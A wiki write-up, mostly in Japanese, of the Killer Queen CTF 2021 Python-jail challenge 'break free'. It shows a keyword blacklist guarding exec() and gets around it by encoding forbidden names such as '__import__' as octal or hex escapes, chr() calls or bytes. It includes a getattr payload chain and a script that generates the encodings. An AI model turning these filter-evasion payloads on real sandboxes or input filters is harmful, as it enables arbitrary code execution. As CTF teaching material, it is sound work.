pyjail wiki

Killer Queen CTF 2021 - break free

Challenge

特定の文字が禁止された pyjail。

BLACKLIST = ['import', 'os', 'sys', 'eval', 'exec', 'open', '__']
code = input()
for word in BLACKLIST:
if word in code:
print("Blocked!")
exit()
exec(code)

Solution

8進数エンコード

文字列を8進数エスケープシーケンスで構築:

# 'os' = '\157\163'
'\157\163' # 'os'
# '__import__' = '\137\137\151\155\160\157\162\164\137\137'

完全なペイロード

getattr(getattr((), '\137\137\143\154\141\163\163\137\137'), '\137\137\142\141\163\145\163\137\137')[0]

文字コード変換表

文字8進数16進数
_\137\x5f
i\151\x69
m\155\x6d
p\160\x70
o\157\x6f
r\162\x72
t\164\x74

Technical Details

Python の文字列エスケープ

# 8進数 (最大3桁)
'\101' # 'A' (65)
'\157' # 'o' (111)
# 16進数
'\x41' # 'A'
'\x6f' # 'o'
# Unicode
'\u0041' # 'A'
'\U00000041' # 'A'

エンコード生成スクリプト

def to_octal(s):
return ''.join(f'\\{ord(c):03o}' for c in s)
to_octal('__import__') # '\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137'

注意点

  • 8進数は \0 ~ \377 (0-255)
  • 3桁を超えると解釈が変わる
  • 文字列結合で長いペイロードを構築

Alternative Solutions

別解1: 16進数エンコード

'\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f' # '__import__'

別解2: chr() と ord()

chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)

別解3: bytes と decode

bytes([95,95,105,109,112,111,114,116,95,95]).decode()

Flag

kqctf{...}

References

  • Killer Queen CTF 2021 Official